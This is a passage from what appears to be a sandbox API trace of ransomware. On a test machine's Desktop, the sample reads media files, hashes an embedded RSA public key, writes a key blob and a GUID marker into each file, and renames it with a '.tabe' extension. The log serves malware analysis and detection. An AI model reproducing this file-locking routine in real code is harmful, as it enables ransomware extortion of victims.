StringUuid=0x3dcfa40) returned 0x0 [0125.990] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0125.991] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x840a88, Size=0x218) returned 0x3ae3728 [0125.991] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xc77a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.991] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0125.991] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0125.991] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0125.991] CloseHandle (hObject=0x618) returned 1 [0125.992] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\-E3i.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\-e3i.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\-E3i.jpg.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\-e3i.jpg.tabe")) returned 1 [0125.995] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ffa1620, ftCreationTime.dwHighDateTime=0x1d5e552, ftLastAccessTime.dwLowDateTime=0x50ba96b0, ftLastAccessTime.dwHighDateTime=0x1d5e569, ftLastWriteTime.dwLowDateTime=0x50ba96b0, ftLastWriteTime.dwHighDateTime=0x1d5e569, nFileSizeHigh=0x0, nFileSizeLow=0x109a, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="1fgla.mp4", cAlternateFileName="")) returned 1 [0125.995] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1fgla.mp4") returned=".mp4" [0125.995] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1fgla.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\1fgla.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0125.995] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=4250) returned 1 [0125.995] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0125.997] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x1074, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.997] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0125.997] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x109a, lpOverlapped=0x0) returned 1 [0125.997] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0125.998] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0125.998] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0125.998] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866bf8) returned 1 [0125.998] CryptCreateHash (in: hProv=0x866bf8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0125.998] CryptHashData (hHash=0x3463888, pbData=0x3ae2ff8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0125.998] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0125.998] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0125.998] GetLastError () returned 0x0 [0125.998] SetLastError (dwErrCode=0x0) [0125.998] GetLastError () returned 0x0 [0125.999] SetLastError (dwErrCode=0x0) [0125.999] GetLastError () returned 0x0 [0125.999] SetLastError (dwErrCode=0x0) [0125.999] GetLastError () returned 0x0 [0125.999] SetLastError (dwErrCode=0x0) [0125.999] GetLastError () returned 0x0 [0125.999] SetLastError (dwErrCode=0x0) [0125.999] GetLastError () returned 0x0 [0125.999] SetLastError (dwErrCode=0x0) [0125.999] GetLastError () returned 0x0 [0125.999] SetLastError (dwErrCode=0x0) [0125.999] GetLastError () returned 0x0 [0125.999] SetLastError (dwErrCode=0x0) [0125.999] GetLastError () returned 0x0 [0125.999] SetLastError (dwErrCode=0x0) [0125.999] GetLastError () returned 0x0 [0125.999] SetLastError (dwErrCode=0x0) [0125.999] GetLastError () returned 0x0 [0125.999] SetLastError (dwErrCode=0x0) [0125.999] GetLastError () returned 0x0 [0125.999] SetLastError (dwErrCode=0x0) [0125.999] GetLastError () returned 0x0 [0125.999] SetLastError (dwErrCode=0x0) [0125.999] GetLastError () returned 0x0 [0125.999] SetLastError (dwErrCode=0x0) [0125.999] GetLastError () returned 0x0 [0125.999] SetLastError (dwErrCode=0x0) [0125.999] GetLastError () returned 0x0 [0125.999] SetLastError (dwErrCode=0x0) [0125.999] CryptDestroyHash (hHash=0x3463888) returned 1 [0125.999] CryptReleaseContext (hProv=0x866bf8, dwFlags=0x0) returned 1 [0125.999] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.000] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.000] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.000] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x840a88, Size=0x218) returned 0x3ae3728 [0126.000] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x109a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.000] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.000] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.000] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.000] CloseHandle (hObject=0x618) returned 1 [0126.001] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1fgla.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\1fgla.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1fgla.mp4.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\1fgla.mp4.tabe")) returned 1 [0126.002] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x658cdc0, ftCreationTime.dwHighDateTime=0x1d5e3d5, ftLastAccessTime.dwLowDateTime=0x650d2820, ftLastAccessTime.dwHighDateTime=0x1d5e0d3, ftLastWriteTime.dwLowDateTime=0x650d2820, ftLastWriteTime.dwHighDateTime=0x1d5e0d3, nFileSizeHigh=0x0, nFileSizeLow=0x1787c, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="1hhD8hoUWopvU.m4a", cAlternateFileName="1HHD8H~1.M4A")) returned 1 [0126.002] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1hhD8hoUWopvU.m4a") returned=".m4a" [0126.002] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1hhD8hoUWopvU.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\1hhd8houwopvu.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.002] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=96380) returned 1 [0126.002] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.003] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x17856, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.003] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.005] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x1787c, lpOverlapped=0x0) returned 1 [0126.005] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.006] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.006] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.006] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866bf8) returned 1 [0126.006] CryptCreateHash (in: hProv=0x866bf8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.006] CryptHashData (hHash=0x3463888, pbData=0x3ae2ff8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.006] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.006] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.006] GetLastError () returned 0x0 [0126.006] SetLastError (dwErrCode=0x0) [0126.006] GetLastError () returned 0x0 [0126.007] SetLastError (dwErrCode=0x0) [0126.007] GetLastError () returned 0x0 [0126.007] SetLastError (dwErrCode=0x0) [0126.007] GetLastError () returned 0x0 [0126.007] SetLastError (dwErrCode=0x0) [0126.007] GetLastError () returned 0x0 [0126.007] SetLastError (dwErrCode=0x0) [0126.007] GetLastError () returned 0x0 [0126.007] SetLastError (dwErrCode=0x0) [0126.007] GetLastError () returned 0x0 [0126.007] SetLastError (dwErrCode=0x0) [0126.007] GetLastError () returned 0x0 [0126.007] SetLastError (dwErrCode=0x0) [0126.007] GetLastError () returned 0x0 [0126.007] SetLastError (dwErrCode=0x0) [0126.007] GetLastError () returned 0x0 [0126.007] SetLastError (dwErrCode=0x0) [0126.007] GetLastError () returned 0x0 [0126.007] SetLastError (dwErrCode=0x0) [0126.007] GetLastError () returned 0x0 [0126.007] SetLastError (dwErrCode=0x0) [0126.007] GetLastError () returned 0x0 [0126.007] SetLastError (dwErrCode=0x0) [0126.007] GetLastError () returned 0x0 [0126.007] SetLastError (dwErrCode=0x0) [0126.007] GetLastError () returned 0x0 [0126.007] SetLastError (dwErrCode=0x0) [0126.007] GetLastError () returned 0x0 [0126.007] SetLastError (dwErrCode=0x0) [0126.007] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.007] CryptReleaseContext (hProv=0x866bf8, dwFlags=0x0) returned 1 [0126.007] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.007] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.008] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.008] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x840a88, Size=0x218) returned 0x3ae3728 [0126.009] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x1787c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.009] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.009] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.009] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.009] CloseHandle (hObject=0x618) returned 1 [0126.011] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1hhD8hoUWopvU.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\1hhd8houwopvu.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1hhD8hoUWopvU.m4a.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\1hhd8houwopvu.m4a.tabe")) returned 1 [0126.012] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83d45790, ftCreationTime.dwHighDateTime=0x1d5e1b1, ftLastAccessTime.dwLowDateTime=0xbb55a330, ftLastAccessTime.dwHighDateTime=0x1d5e2d9, ftLastWriteTime.dwLowDateTime=0xbb55a330, ftLastWriteTime.dwHighDateTime=0x1d5e2d9, nFileSizeHigh=0x0, nFileSizeLow=0x103be, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="2C_1.mp3", cAlternateFileName="")) returned 1 [0126.012] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2C_1.mp3") returned=".mp3" [0126.012] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2C_1.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2c_1.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.012] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=66494) returned 1 [0126.012] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.013] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x10398, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.013] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.017] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x103be, lpOverlapped=0x0) returned 1 [0126.018] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.018] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.018] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.018] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866bf8) returned 1 [0126.018] CryptCreateHash (in: hProv=0x866bf8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.018] CryptHashData (hHash=0x3463888, pbData=0x3ae2ff8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.018] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.018] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.018] GetLastError () returned 0x0 [0126.019] SetLastError (dwErrCode=0x0) [0126.019] GetLastError () returned 0x0 [0126.019] SetLastError (dwErrCode=0x0) [0126.019] GetLastError () returned 0x0 [0126.019] SetLastError (dwErrCode=0x0) [0126.019] GetLastError () returned 0x0 [0126.019] SetLastError (dwErrCode=0x0) [0126.019] GetLastError () returned 0x0 [0126.019] SetLastError (dwErrCode=0x0) [0126.019] GetLastError () returned 0x0 [0126.019] SetLastError (dwErrCode=0x0) [0126.019] GetLastError () returned 0x0 [0126.019] SetLastError (dwErrCode=0x0) [0126.019] GetLastError () returned 0x0 [0126.019] SetLastError (dwErrCode=0x0) [0126.019] GetLastError () returned 0x0 [0126.019] SetLastError (dwErrCode=0x0) [0126.019] GetLastError () returned 0x0 [0126.019] SetLastError (dwErrCode=0x0) [0126.019] GetLastError () returned 0x0 [0126.019] SetLastError (dwErrCode=0x0) [0126.019] GetLastError () returned 0x0 [0126.019] SetLastError (dwErrCode=0x0) [0126.019] GetLastError () returned 0x0 [0126.019] SetLastError (dwErrCode=0x0) [0126.019] GetLastError () returned 0x0 [0126.019] SetLastError (dwErrCode=0x0) [0126.019] GetLastError () returned 0x0 [0126.019] SetLastError (dwErrCode=0x0) [0126.019] GetLastError () returned 0x0 [0126.019] SetLastError (dwErrCode=0x0) [0126.019] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.019] CryptReleaseContext (hProv=0x866bf8, dwFlags=0x0) returned 1 [0126.019] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.020] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.020] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.020] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x840a88, Size=0x218) returned 0x3ae3728 [0126.020] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x103be, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.020] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.020] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.020] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.021] CloseHandle (hObject=0x618) returned 1 [0126.021] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2C_1.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2c_1.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2C_1.mp3.tabe" (normalized: 